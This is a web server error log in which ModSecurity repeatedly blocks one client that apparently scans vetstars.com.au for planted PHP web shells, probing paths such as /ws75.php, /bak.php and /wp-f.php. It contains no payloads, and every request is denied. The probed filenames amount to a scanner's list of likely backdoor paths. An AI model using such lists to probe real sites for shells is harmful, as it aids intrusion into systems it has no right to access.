[Sat Feb 28 11:51:59.180866 2026] [:error] [pid 11791:tid 11811] [client 4.205.9.11:62460] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaJmX2uX5e1Q32gqxH30IAAAARI"]
[Sat Feb 28 11:51:59.620663 2026] [:error] [pid 52460:tid 52475] [client 4.205.9.11:14718] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaJmX7LWOogAgHGh62Ts8QAAAYw"]
[Sat Feb 28 11:52:00.066680 2026] [:error] [pid 11791:tid 11806] [client 4.205.9.11:28621] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaJmYGuX5e1Q32gqxH30IwAAAQ0"]
[Sat Feb 28 11:52:00.490497 2026] [:error] [pid 39185:tid 39258] [client 4.205.9.11:38735] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaJmYBVE-FfM89u7BQaFRwAAAIw"]
[Sat Feb 28 11:52:00.962975 2026] [:error] [pid 39185:tid 39250] [client 4.205.9.11:56039] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaJmYBVE-FfM89u7BQaFSQAAAIQ"]
[Sat Feb 28 11:52:01.390839 2026] [:error] [pid 11791:tid 11815] [client 4.205.9.11:28617] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaJmYWuX5e1Q32gqxH30JAAAARY"]
[Sat Feb 28 11:52:01.822315 2026] [:error] [pid 39292:tid 39306] [client 4.205.9.11:15353] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaJmYaIAO5fN7BxyqcG3RgAAAMw"]
[Sat Feb 28 11:52:02.300432 2026] [:error] [pid 52460:tid 52482] [client 4.205.9.11:56022] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaJmYrLWOogAgHGh62Ts9QAAAZM"]
[Sat Feb 28 11:52:02.725630 2026] [:error] [pid 52460:tid 52473] [client 4.205.9.11:14566] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaJmYrLWOogAgHGh62Ts9wAAAYo"]
[Sat Feb 28 11:52:03.162835 2026] [:error] [pid 52460:tid 52483] [client 4.205.9.11:62409] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaJmY7LWOogAgHGh62Ts-wAAAZQ"]
[Sat Feb 28 11:52:03.606700 2026] [:error] [pid 52460:tid 52486] [client 4.205.9.11:62403] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaJmY7LWOogAgHGh62Ts_QAAAZc"]
[Sat Feb 28 11:52:04.049192 2026] [:error] [pid 52460:tid 52464] [client 4.205.9.11:42632] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaJmZLLWOogAgHGh62TtAQAAAYE"]
[Sat Feb 28 11:52:04.484098 2026] [:error] [pid 52460:tid 52481] [client 4.205.9.11:38725] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaJmZLLWOogAgHGh62TtBAAAAZI"]
[Sat Feb 28 11:52:05.036336 2026] [:error] [pid 52460:tid 52482] [client 4.205.9.11:62462] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaJmZbLWOogAgHGh62TtCAAAAZM"]
[Sat Feb 28 11:52:05.520222 2026] [:error] [pid 39185:tid 39270] [client 4.205.9.11:56017] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaJmZRVE-FfM89u7BQaFVAAAAJg"]
[Sat Feb 28 11:52:05.974251 2026] [:error] [pid 39185:tid 39257] [client 4.205.9.11:62405] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaJmZRVE-FfM89u7BQaFVQAAAIs"]
[Sat Feb 28 11:52:06.442223 2026] [:error] [pid 22194:tid 22200] [client 4.205.9.11:57124] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJmZn6mbajs3bzQGysrjAAAAUQ"]
[Sat Feb 28 11:52:06.970153 2026] [:error] [pid 52460:tid 52486] [client 4.205.9.11:14664] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJmZrLWOogAgHGh62TtDwAAAZc"]
[Sat Feb 28 11:52:07.435017 2026] [:error] [pid 39185:tid 39252] [client 4.205.9.11:38754] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJmZxVE-FfM89u7BQaFVwAAAIY"]
[Sat Feb 28 11:52:07.907893 2026] [:error] [pid 39185:tid 39259] [client 4.205.9.11:42637] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJmZxVE-FfM89u7BQaFWgAAAI0"]
[Sat Feb 28 11:52:08.367650 2026] [:error] [pid 22194:tid 22215] [client 4.205.9.11:42668] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaJmaH6mbajs3bzQGysrkAAAAVM"]
[Sat Feb 28 11:52:08.799279 2026] [:error] [pid 39185:tid 39255] [client 4.205.9.11:14542] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaJmaBVE-FfM89u7BQaFXAAAAIk"]
[Sat Feb 28 11:52:09.229468 2026] [:error] [pid 39184:tid 39243] [client 4.205.9.11:28613] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaJmaVtZF9Zd_U7easDKSgAAAFg"]
[Sat Feb 28 11:52:09.652045 2026] [:error] [pid 39185:tid 39266] [client 4.205.9.11:28616] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaJmaRVE-FfM89u7BQaFXgAAAJQ"]
[Sat Feb 28 11:52:10.076749 2026] [:error] [pid 39185:tid 39262] [client 4.205.9.11:14528] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJmahVE-FfM89u7BQaFXwAAAJA"]
[Sat Feb 28 11:52:10.500691 2026] [:error] [pid 52460:tid 52475] [client 4.205.9.11:14564] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJmarLWOogAgHGh62TtEQAAAYw"]
[Sat Feb 28 11:52:10.977147 2026] [:error] [pid 52460:tid 52481] [client 4.205.9.11:42656] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJmarLWOogAgHGh62TtEgAAAZI"]
[Sat Feb 28 11:52:11.445945 2026] [:error] [pid 52460:tid 52463] [client 4.205.9.11:38782] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJma7LWOogAgHGh62TtEwAAAYA"]
[Sat Feb 28 11:52:11.893633 2026] [:error] [pid 52460:tid 52471] [client 4.205.9.11:56050] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaJma7LWOogAgHGh62TtFQAAAYg"]
[Sat Feb 28 11:52:12.345492 2026] [:error] [pid 22194:tid 22219] [client 4.205.9.11:41988] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaJmbH6mbajs3bzQGysrlQAAAVc"]
[Sat Feb 28 11:52:12.801212 2026] [:error] [pid 11791:tid 11807] [client 4.205.9.11:62402] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaJmbGuX5e1Q32gqxH30KAAAAQ4"]
[Sat Feb 28 11:52:13.217938 2026] [:error] [pid 39185:tid 39246] [client 4.205.9.11:15339] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaJmbRVE-FfM89u7BQaFZQAAAIA"]
[Sat Feb 28 11:52:13.634850 2026] [:error] [pid 11791:tid 11813] [client 4.205.9.11:14669] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJmbWuX5e1Q32gqxH30KQAAARQ"]
[Sat Feb 28 11:52:14.060868 2026] [:error] [pid 52460:tid 52466] [client 4.205.9.11:42657] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJmbrLWOogAgHGh62TtGQAAAYM"]
[Sat Feb 28 11:52:14.495138 2026] [:error] [pid 52460:tid 52487] [client 4.205.9.11:15296] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJmbrLWOogAgHGh62TtGwAAAZg"]
[Sat Feb 28 11:52:14.954266 2026] [:error] [pid 39184:tid 39221] [client 4.205.9.11:38720] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaJmbltZF9Zd_U7easDKTwAAAEI"]
[Sat Feb 28 11:52:15.459859 2026] [:error] [pid 52460:tid 52477] [client 4.205.9.11:42651] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaJmb7LWOogAgHGh62TtHQAAAY4"]
[Sat Feb 28 11:52:16.043808 2026] [:error] [pid 52460:tid 52471] [client 4.205.9.11:38781] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaJmcLLWOogAgHGh62TtIgAAAYg"]
[Sat Feb 28 11:52:16.634461 2026] [:error] [pid 52460:tid 52470] [client 4.205.9.11:38769] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaJmcLLWOogAgHGh62TtKAAAAYc"]
[Sat Feb 28 11:52:17.331120 2026] [:error] [pid 11791:tid 11810] [client 4.205.9.11:62409] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaJmcWuX5e1Q32gqxH30KgAAARE"]
[Sat Feb 28 11:52:17.888196 2026] [:error] [pid 39292:tid 39313] [client 4.205.9.11:28266] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaJmcaIAO5fN7BxyqcG3TAAAANM"]
[Sat Feb 28 11:52:18.686454 2026] [:error] [pid 11791:tid 11805] [client 4.205.9.11:14578] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaJmcmuX5e1Q32gqxH30LAAAAQw"]
[Sat Feb 28 11:52:19.729970 2026] [:error] [pid 11791:tid 11814] [client 4.205.9.11:56045] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaJmc2uX5e1Q32gqxH30MAAAARU"]
[Sat Feb 28 11:52:21.056138 2026] [:error] [pid 11791:tid 11806] [client 4.205.9.11:56018] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaJmdWuX5e1Q32gqxH30MwAAAQ0"]
[Sat Feb 28 11:52:22.172238 2026] [:error] [pid 11791:tid 11799] [client 4.205.9.11:15319] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaJmdmuX5e1Q32gqxH30NQAAAQY"]
[Sat Feb 28 11:52:23.694983 2026] [:error] [pid 52460:tid 52477] [client 4.205.9.11:42000] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaJmd7LWOogAgHGh62TtOQAAAY4"]
[Sat Feb 28 11:52:24.813458 2026] [:error] [pid 52460:tid 52480] [client 4.205.9.11:42640] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaJmeLLWOogAgHGh62TtPQAAAZE"]
[Sat Feb 28 11:52:25.859433 2026] [:error] [pid 52460:tid 52486] [client 4.205.9.11:28664] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaJmebLWOogAgHGh62TtRAAAAZc"]
[Sat Feb 28 11:52:26.581763 2026] [:error] [pid 52460:tid 52473] [client 4.205.9.11:64146] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aaJmerLWOogAgHGh62TtSAAAAYo"]
[Sat Feb 28 11:52:27.548868 2026] [:error] [pid 52460:tid 52483] [client 4.205.9.11:39951] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aaJme7LWOogAgHGh62TtTAAAAZQ"]
[Sat Feb 28 11:52:28.241166 2026] [:error] [pid 39183:tid 39199] [client 4.205.9.11:64172] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aaJmfBCf4HvhVePw3LbcuwAAAAc"]
[Sat Feb 28 11:52:29.199690 2026] [:error] [pid 39184:tid 39235] [client 4.205.9.11:39981] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aaJmfVtZF9Zd_U7easDKUAAAAFA"]
[Sat Feb 28 11:52:30.364885 2026] [:error] [pid 39185:tid 39252] [client 4.205.9.11:28194] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaJmfhVE-FfM89u7BQaF2AAAAIY"]
[Sat Feb 28 11:52:31.900452 2026] [:error] [pid 39185:tid 39268] [client 4.205.9.11:39955] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaJmfxVE-FfM89u7BQaF3wAAAJY"]
[Sat Feb 28 11:52:32.871343 2026] [:error] [pid 52460:tid 52474] [client 4.205.9.11:29017] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaJmgLLWOogAgHGh62TtVwAAAYs"]
[Sat Feb 28 11:52:33.788994 2026] [:error] [pid 22194:tid 22211] [client 4.205.9.11:55962] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaJmgX6mbajs3bzQGysrnwAAAU8"]
